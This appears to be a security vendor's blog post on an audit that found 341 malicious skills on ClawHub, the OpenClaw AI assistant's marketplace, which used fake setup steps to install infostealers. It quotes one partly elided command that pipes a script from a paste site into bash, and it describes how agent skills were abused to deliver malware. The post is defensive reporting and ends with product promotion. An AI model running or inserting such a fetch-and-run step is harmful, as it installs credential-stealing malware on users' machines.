341 malicious skills on ClawHub pushed infostealers to OpenClaw users
An audit of ClawHub, the skill marketplace for the OpenClaw AI assistant, found 341 malicious skills. Most belonged to one campaign that used fake setup steps to get users to install an infostealer.
By the NoFly team
curl -fsSL https://glot.io/snippets/…/raw | bash- Agent
- Skill: youtube-summarizer
- Came from
- The skill’s Prerequisites section
- Rule
- Remote script piped into a shell
- Why
- The setup step downloads and runs code from a paste site.
What happened
Koi Security audited 2,857 ClawHub skills and found 341 malicious ones, 335 of them in a campaign it named ClawHavoc. ClawHub was open by default: anyone with a GitHub account at least a week old could publish.
The skills posed as useful tools, such as crypto wallet trackers and YouTube summarizers, with professional documentation and a “Prerequisites” section. On macOS the instructions had users paste a script from a paste site into Terminal, which fetched the Atomic Stealer infostealer. On Windows they downloaded a password-protected archive containing a keylogging trojan aimed at API keys and credentials.
- 01
An attacker publishes skills that look useful and well documented.
- 02
Each skill lists a setup step as a prerequisite.
- 03
The user pastes the step into a terminal.
- 04
The script installs an infostealer.
Why it worked
Probable cause
An open marketplace with no review before publication, and skills that talked people into running setup commands outside the agent.
How NoFly stops it
Discover
Skills are scanned before they run, on laptops, in repositories and in the IDE, and a setup step that downloads a script and runs it is flagged as critical. OpenClaw installs are found through the EDR you already run.
Protect
In the agents NoFly hooks, a script piped from the internet into a shell is refused on the machine, even offline.
What to do this week
- Install skills only from publishers you can verify, and read their setup steps.
- Never paste setup commands from a skill into a terminal.
- Scan the skills already installed on your machines.
More from the blog.
Find out what your AI is allowed to do today.
Book a call and we will map your agents, MCP servers and keys with you, or start on one laptop with the free scan.